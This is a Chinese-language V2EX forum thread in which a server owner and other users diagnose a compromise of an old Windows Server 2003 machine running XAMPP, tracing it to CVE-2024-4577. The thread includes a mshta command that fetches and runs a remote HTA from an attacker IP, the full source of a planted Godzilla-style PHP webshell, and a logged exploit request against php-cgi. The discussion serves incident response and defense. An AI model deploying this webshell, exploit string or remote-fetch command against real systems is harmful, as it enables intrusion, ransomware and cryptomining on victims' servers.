V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
wangybsyuct
V2EX  ›  信息安全

是谁用什么方式攻击了我的服务器呢?

  •  
  •   wangybsyuct · 7 天前 · 2384 次点击

    服务器(windows server 2003),阿里云的,运行了 xampp ,也运行了 iis (为了兼容以前的程序)。 服务器是给自己另外的一个服务器提供数据,是使用的 web 接口。 刚刚远程登录,上面出现了 5 个异常窗口,标题是“http://88.218.76.13/d3.hta”,明显是被攻击了,之前没有遇到过这种,窗口是使用“mshta http://88.218.76.13/d3.hta”,查到每个窗口对应一个进程的父进程是独立的 cmd ,一共 5 个 cmd ,进程还都在,但是这 5 个 cmd 的父进程不在了,无法进一步追查。看了 apache 日志和 iid 日志,里面没有找到关于 88.218.76.13 的信息。这个窗口里面的源代码是

    <HTML><HEAD> <META content="text/html; charset=gb2312" http-equiv=Content-Type></HEAD> <BODY></BODY></HTML>”

    我想先将 mshta 删除掉,但是还是不知道是哪里出现了问题,想追查漏洞的出处,如何追查呢? 所有的程序都是我自己写的,接口出现问题的可能性很小。

    26 条回复    2024-06-21 11:42:43 +08:00
    idragonet
        1
    idragonet  
       7 天前
    windows server 2003 ??没搞错吧,今年是 2024 了。
    NewYear
        2
    NewYear  
       7 天前
    你用的 xampp 榜上有名啊。

    php 最近公布影响几乎所有版本的漏洞,修补了没?
    hefish
        3
    hefish  
       7 天前
    这么老的机器,跑在互联网上,即便不上 waf 之类的, 至少搞个 ip 白名单吧。 因为他是提供接口的嘛,应该能搞 ip 白名单。
    wheat0r
        4
    wheat0r  
       7 天前
    感觉是在叠 buff
    cnevil
        5
    cnevil  
       7 天前   ❤️ 1
    CVE-2024-4577 ?
    wtks1
        6
    wtks1  
       7 天前
    2003 ,这个太老了,rdp 直接就有可以利用的漏洞吧,好歹做个白名单
    janus77
        7
    janus77  
       7 天前 via Android
    虽然不知道是什么原因,但是升级新版本至少是可以堵上很多漏洞的
    Fred0410
        8
    Fred0410  
       7 天前
    2003 漏洞多到令人发指。。
    nekopara
        9
    nekopara  
       7 天前
    优质肉鸡
    euph
        10
    euph  
       7 天前
    @cnevil 应该是了 https://www.secrss.com/articles/66997 ,和文中事件二一样
    rulagiti
        11
    rulagiti  
       7 天前
    行走的肉鸡?
    ShinichiYao
        12
    ShinichiYao  
       7 天前
    wangybsyuct
        13
    wangybsyuct  
    OP
       7 天前
    @euph
    @cnevil
    @hefish
    @wtks1
    果然是,我在 web 根目录里发现个文件叫 Zq91u4b.php ,里面的内容就是有关 payload 的,暂时未发现服务器异常,可能是所有的程序都是自己写的原因,勒索软件暂时没有得逞,刚刚做了个快照,想想怎么完善一下,谢谢大家。那个 php 文件原文是这样的。
    ><?php
    >@session_start();
    >@set_time_limit(0);
    >@error_reporting(0);
    >function encode($D,$K){
    > for($i=0;$i<strlen($D);$i++) {
    > $c = $K[$i+1&15];
    > $D[$i] = $D[$i]^$c;
    > }
    > return $D;
    >}
    >$pass='dddzzz';
    >$payloadName='payload';
    >$key='f25200d5d90fa403';
    >if (isset($_POST[$pass])){
    > $data=encode(base64_decode($_POST[$pass]),$key);
    > if (isset($_SESSION[$payloadName])){
    > $payload=encode($_SESSION[$payloadName],$key);
    > if (strpos($payload,"getBasicsInfo")===false){
    > $payload=encode($payload,$key);
    > }
    > eval($payload);
    > echo substr(md5($pass.$key),0,16);
    > echo base64_encode(encode(@run($data),$key));
    > echo substr(md5($pass.$key),16);
    > }else{
    > if (strpos($data,"getBasicsInfo")!==false){
    > $_SESSION[$payloadName]=encode($data,$key);
    > }
    > }
    >}
    >
    hgert
        14
    hgert  
       6 天前
    当你已经怀疑一台服务器的时候 最好的办法就是备份数据后重装 doge
    Sw0rt1
        15
    Sw0rt1  
       6 天前
    @wangybsyuct #13 经典的 phpwebshell ,Godzilla 使用的 webshell ,光看这个 payload 肯定看不出它是怎么拿到权限的,还是得看日志,建议有备份就恢复或者转移,没备份现在备份下换环境处理下。2003 太老了,再说也不知道你 web 环境是什么,多方面都有可能。
    Sw0rt1
        16
    Sw0rt1  
       6 天前
    不过光看你上面发的 ip 和文件名来看,是 TellYouThePass 常用的,而且从 ioc 库里看到的这个团伙最近确实是使用了 CVE-2024-4577 的 poc 来攻击,好消息是你没中勒索的招,坏消息是,这个 phpwebshell 很有可能跟你屏幕上存在的 cmd 窗口中的那个团伙并不是一个,也许是两伙人,也有可能是三。。甚至更多。
    ShinichiYao
        17
    ShinichiYao  
       6 天前
    一个 POST 就可以在你机器上执行任何命令

    chf007
        18
    chf007  
       6 天前
    阿里云还能给你提供 server 2003 也是的
    chf007
        19
    chf007  
       6 天前
    成功的勾起了十几年前的回忆

    想当年 07 、08 年左右最喜欢搞的就是这个,进去后再加个粘滞键的利用

    你 3389 登录的时候连按下 shift 看看有没有惊喜
    wangybsyuct
        20
    wangybsyuct  
    OP
       6 天前
    @Sw0rt1
    @hgert
    @ShinichiYao
    @chf007
    使用多款杀毒软件扫描过了,处理这些,还发现了一个被植入的挖矿程序.moneroocean ,从文件日期看,是十几天前,是不是我的系统太老了,导致其无法进一步捣乱。服务器存在的时间比较久,里面的数据有点多而且复杂,阿里云对 2003 也提供的充分的支持。如果是换成新的 windows 或者 linux ,是不是就容易中招了呢?!
    服务器已经手动做了很多防护,针对远程桌面的攻击比较频繁,防护的方法除了改端口改用户名等,我还写了一个日志分析程序,如果遇到攻击远程桌面,会给发邮件,微信就会提醒。

    攻击日志就像下面的,数量不多。
    128.199.166.165 - - [08/Jun/2024:16:01:43 +0800] "POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 200 12
    从日志看,apache 居然返回的 200 的成功标志?
    我自己请求这个字符串时,返回的是 500 ,居然不是 404 。
    ShinichiYao
        21
    ShinichiYao  
       6 天前
    换成最新 Windows 也没用,这个漏洞只有更新 PHP 到 8.1.29, 8.2.20, 8.3.8 才能彻底堵住,XAMPP 是肯定不能再用了
    sampeng
        22
    sampeng  
       6 天前
    win server 2003 ? xanmp ? iis ?你搁这叠 buf 呢。。。

    既然是阿里云,就要养成做好环境就打包镜像为镜像,坏了随时拉一个新的环境起来。干干净净。被黑了一般只有一条路:重开一台机器重新搞环境。不要相信自己能去干净。我之前也这么想,md ,这破玩意 1 年后在公司里有 tm 炸了。。
    sampeng
        23
    sampeng  
       6 天前
    哦。。我突然反应过来。。你为毛要把机器暴露在外网呢。。。只暴露 443 端口不就完了?有且只有两类漏洞可以利用:iis/apache+自己开发的接口。。起个 nginx 档在前面只暴露 443 端口。。完事= =!
    ShinichiYao
        24
    ShinichiYao  
       6 天前
    @sampeng 这个漏洞根本不需要暴露外网,只要你开了 80 或者 443 就可以攻击
    wangybsyuct
        25
    wangybsyuct  
    OP
       6 天前
    @sampeng
    @ShinichiYao
    这个攻击,只要符合条件,1.中文操作系统,2.php 版本是最高的。这个是利用 php 的漏洞,处理%2d 字符的漏洞,是没法儿预防的,开了 80 或者 443 都可以攻击。如果 php 无法升级,暂时可以用 Rewrite 重定向处理,然后屏蔽掉 system,exec,shell_exec,passthru,popen 加固一下。
    sampeng
        26
    sampeng  
       5 天前
    @wangybsyuct 不是,你没明白我的意思。我的意思是。首先,缩小攻击面。只有 80 和 443.这样你就只要考虑 php 漏洞这一项了。其他什么乱七八糟的都不需要考虑。就围绕 443 解决可能出现的漏洞就好了。没有 100%能攻破的漏洞,只要你知道是怎么进来的。那就见缝拆招好了。不知道?重写部分危险接口。。完事。。哈哈哈
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   5641 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 02:04 · PVG 10:04 · LAX 19:04 · JFK 22:04
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.